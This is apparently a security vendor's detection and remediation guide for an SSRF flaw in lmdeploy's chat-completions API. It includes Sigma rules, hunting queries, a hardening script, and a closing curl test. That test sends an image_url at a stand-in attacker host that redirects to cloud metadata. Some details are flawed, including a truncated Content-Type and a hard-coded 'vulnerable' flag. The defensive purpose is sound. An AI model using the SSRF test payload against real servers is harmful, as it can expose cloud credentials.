CVE-2026-63764: lmdeploy OpenAI API SSRF Vulnerability — Detection and Remediation Guide

---
title: SSRF via lmdeploy OpenAI API - Metadata Endpoint Access
id: a7b8c9d0-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects lmdeploy API server processes making requests to cloud instance metadata endpoints (169.254.169.254) indicative of CVE-2026-63764 exploitation
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-63764
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.63764
logsource:
  category: network_connection
  product: linux
detection:
  selection:
    Image|endswith:
      - '/python'
      - '/python3'
      - '/lmdeploy'
    DestinationIp:
      - '169.254.169.254'
      - '169.254.170.2'
      - '169.254.169.253'
    DestinationPort:
      - 80
      - 8080
  condition: selection
falsepositives:
  - Legitimate cloud instance initialization scripts
  - Authorized internal cloud tooling
level: critical
---
title: lmdeploy Chat Completion with External Image URL
id: b8c9d0e1-2f3a-4b5c-6d7e-8f9a0b1c2d3e
status: experimental
description: Detects POST requests to lmdeploy chat completions endpoints containing image_url parameters pointing to external domains, potential SSRF vector for CVE-2026-63764
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-63764
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.63764
logsource:
  category: webserver
  product: nginx
detection:
  selection:
    RequestMethod|contains: 'POST'
    RequestUri|contains:
      - '/v1/chat/completions'
      - '/chat/completions'
    RequestBody|contains:
      - 'image_url'
      - 'image_url'
  filter:
    RequestBody|contains:
      - 'localhost'
      - '127.0.0.1'
      - 'internal'
  condition: selection and not filter
falsepositives:
  - Legitimate multi-modal AI applications processing external images
level: medium
---
title: HTTP 302 Redirect Response to Internal Address
id: c9d0e1f2-3a4b-5c6d-7e8f-9a0b1c2d3e4f
status: experimental
description: Detects HTTP 302 redirect responses from lmdeploy API servers targeting internal IP ranges, consistent with SSRF exploitation patterns in CVE-2026-63764
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-63764
author: Security Arsenal
date: 2026/04/06
tags:
  - attack.exfiltration
  - attack.t1041
  - cve.2026.63764
logsource:
  category: proxy
  product: null
detection:
  selection:
    sc-status: 302
    cs-uri-query|contains:
      - '127.'
      - '10.'
      - '172.16.'
      - '172.17.'
      - '172.18.'
      - '172.19.'
      - '172.20.'
      - '172.21.'
      - '172.22.'
      - '172.23.'
      - '172.24.'
      - '172.25.'
      - '172.26.'
      - '172.27.'
      - '172.28.'
      - '172.29.'
      - '172.30.'
      - '172.31.'
      - '192.168.'
      - '169.254'
  condition: selection
falsepositives:
  - Legitimate internal application redirects
level: high

// Hunt for lmdeploy API processes accessing cloud metadata endpoints
let MetadataIPs = dynamic(['169.254.169.254', '169.254.170.2', '169.254.169.253', 'fd00:ec2::254']);
DeviceNetworkEvents
| where InitiatingProcessFileName in ('python', 'python3', 'uwsgi', 'gunicorn')
| where RemoteIP in (MetadataIPs) or RemoteIP startswith '169.254.'
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, 
          RemoteIP, RemotePort, RemoteUrl
| order by Timestamp desc
;

// Hunt for suspicious POST requests to chat completion endpoints with image_url parameters
Syslog
| where Facility == 'nginx' or SyslogMessage contains 'lmdeploy'
| where SyslogMessage contains 'POST'
| where SyslogMessage has_any ('/v1/chat/completions', '/chat/completions')
| where SyslogMessage has_all ('image_url', 'http')
| where SyslogMessage !has 'localhost' and SyslogMessage !has '127.0.0.1'
| project TimeGenerated, HostName, ProcessName, SyslogMessage
| order by TimeGenerated desc
;

// Hunt for outbound connections to internal ranges from web server processes
CommonSecurityLog
| where DeviceVendor contains 'Palo' or DeviceVendor contains 'Cisco' or DeviceVendor contains 'Fortinet'
| where DestinationPort in (80, 443, 8080)
| where DestinationIP startswith '10.' 
   or DestinationIP startswith '192.168.' 
   or DestinationIP startswith '172.16.' 
   or DestinationIP startswith '172.17.' 
   or DestinationIP startswith '172.18.' 
   or DestinationIP startswith '172.19.' 
   or DestinationIP startswith '172.20.' 
   or DestinationIP startswith '172.21.' 
   or DestinationIP startswith '172.22.' 
   or DestinationIP startswith '172.23.' 
   or DestinationIP startswith '172.24.' 
   or DestinationIP startswith '172.25.' 
   or DestinationIP startswith '172.26.' 
   or DestinationIP startswith '172.27.' 
   or DestinationIP startswith '172.28.' 
   or DestinationIP startswith '172.29.' 
   or DestinationIP startswith '172.30.' 
   or DestinationIP startswith '172.31.' 
   or DestinationIP startswith '127.' 
   or DestinationIP startswith '169.254.'
| project TimeGenerated, DeviceName, SourceIP, DestinationIP, DestinationPort, ApplicationProtocol
| order by TimeGenerated desc

-- Hunt for processes with network connections to metadata endpoints
SELECT Pid, Name, Exe, CommandLine, Username, StartTime
FROM pslist()
WHERE Name =~ 'python' OR Name =~ 'uwsgi' OR Name =~ 'gunicorn'

-- Check for active network connections to internal ranges from suspicious processes
SELECT pid, family, remote, remote_port, state, process.pid, process.name
FROM netstat()
WHERE family =~ 'inet' 
  AND (remote =~ '169.254.' 
       OR remote =~ '10.' 
       OR remote =~ '192.168.' 
       OR remote =~ '127.' 
       OR remote =~ '172.(1[6-9]|2[0-9]|3[0-1])\.')
  AND process.name =~ 'python'

-- Hunt for lmdeploy configuration files that may contain vulnerable settings
SELECT FullPath, Size, Mtime, Data
FROM glob(globs=['/etc/lmdeploy/*', '/opt/lmdeploy/*', '/usr/local/etc/lmdeploy/*', '/home/*/lmdeploy/*'])
WHERE Data =~ 'image_url' OR Data =~ 'redirect' OR Data =~ 'chat/completions'

#!/bin/bash
# CVE-2026-63764 Remediation Script for lmdeploy
# This script checks for vulnerable installations and applies mitigations

set -e

echo "[+] CVE-2026-63764: lmdeploy SSRF Vulnerability Remediation"
echo "[+] Starting remediation check..."

# Check if lmdeploy is installed
if ! command -v lmdeploy &> /dev/null && ! pip show lmdeploy &> /dev/null; then
    echo "[!] lmdeploy not found on this system. Exiting."
    exit 0
fi

echo "[+] lmdeploy detected. Checking version..."

# Get installed version
LMDEPLOY_VERSION=$(pip show lmdeploy 2>/dev/null | grep Version | cut -d' ' -f2 || echo "unknown")
echo "[+] Current lmdeploy version: $LMDEPLOY_VERSION"

# Check for vulnerable versions (adjust based on vendor advisory)
# Note: Replace specific version check with actual vulnerable range from vendor
VULNERABLE=true

if [ "$VULNERABLE" = true ]; then
    echo "[!] WARNING: Potentially vulnerable version detected!"
    echo "[!] CVE-2026-63764 (CVSS 9.3) allows unauthenticated SSRF attacks."
    
    echo ""
    echo "[*] Applying immediate mitigations..."
    
    # Backup existing configuration
    if [ -f /etc/lmdeploy/config.yaml ]; then
        cp /etc/lmdeploy/config.yaml /etc/lmdeploy/config.yaml.backup.$(date +%Y%m%d_%H%M%S)
        echo "[+] Configuration backed up."
    fi
    
    # Create or update lmdeploy hardening configuration
    cat > /etc/lmdeploy/security_hardening.conf << 'EOF'
# CVE-2026-63764 Mitigation Configuration
# Disable automatic following of redirects
ALLOW_REDIRECTS=false

# Block access to internal IP ranges
BLOCKED_IP_RANGES=
    127.0.0.0/8,
    10.0.0.0/8,
    172.16.0.0/12,
    192.168.0.0/16,
    169.254.0.0/16,
    ::1/128,
    fc00::/7,
    fe80::/10

# Disable image_url processing if not required
ENABLE_IMAGE_URL_PROCESSING=false
EOF
    
    echo "[+] Security hardening configuration applied."
    
    # Configure firewall to block outbound metadata access from lmdeploy
    echo "[*] Configuring firewall rules..."
    if command -v iptables &> /dev/null; then
        # Find lmdeploy process owner
        LMDEPLOY_USER=$(ps aux | grep -E 'lmdeploy|python.*lmdeploy' | grep -v grep | awk '{print $1}' | head -1)
        if [ -n "$LMDEPLOY_USER" ]; then
            iptables -A OUTPUT -m owner --uid-owner "$LMDEPLOY_USER" -d 169.254.169.254 -j DROP 2>/dev/null || true
            iptables -A OUTPUT -m owner --uid-owner "$LMDEPLOY_USER" -d 169.254.170.2 -j DROP 2>/dev/null || true
            echo "[+] Firewall rules applied for user: $LMDEPLOY_USER"
        fi
    fi
    
    # Check for cloud metadata service hardening
    echo "[*] Checking for cloud metadata service hardening..."
    if [ -f /etc/cloud/cloud.cfg ]; then
        if ! grep -q "disable_ec2_metadata" /etc/cloud/cloud.cfg 2>/dev/null; then
            echo "[!] Consider disabling EC2 metadata service if not required."
            echo "    Add 'disable_ec2_metadata: true' to /etc/cloud/cloud.cfg"
        fi
    fi
    
    echo ""
    echo "[*] Temporary mitigations applied. Please proceed with patching."
    echo ""
    echo "[*] Checking for available updates..."
    
    # Attempt to update lmdeploy (uncomment when patch is available)
    # pip install --upgrade lmdeploy
    echo "[*] To upgrade when patch is available, run: pip install --upgrade lmdeploy"
    
    echo ""
    echo "[+] IMPORTANT: Restart lmdeploy services to apply configuration changes."
    systemctl restart lmdeploy 2>/dev/null || service lmdeploy restart 2>/dev/null || echo "[!] Please manually restart lmdeploy services."
    
else
    echo "[+] No vulnerable version detected."
fi

echo ""
echo "[+] Remediation check complete."
echo "[+] For official guidance, visit: https://github.com/InternLM/lmdeploy/security/advisories"

# Check installed version
pip show lmdeploy

# Test that SSRF is mitigated
curl -X POST http://your-lmdeploy-server/v1/chat/completions \
  -H "Content-Type: application/" \
  -d '{
    "model": "test",
    "messages": [{
      "role": "user", 
      "content": [
        {"type": "text", "text": "test"},
        {"type": "image_url", "image_url": {"url": "http://attacker-controlled.com/redirect-to-metadata"}}
      ]
    }]
  }'
# Should return error or block redirect, not fetch internal metadata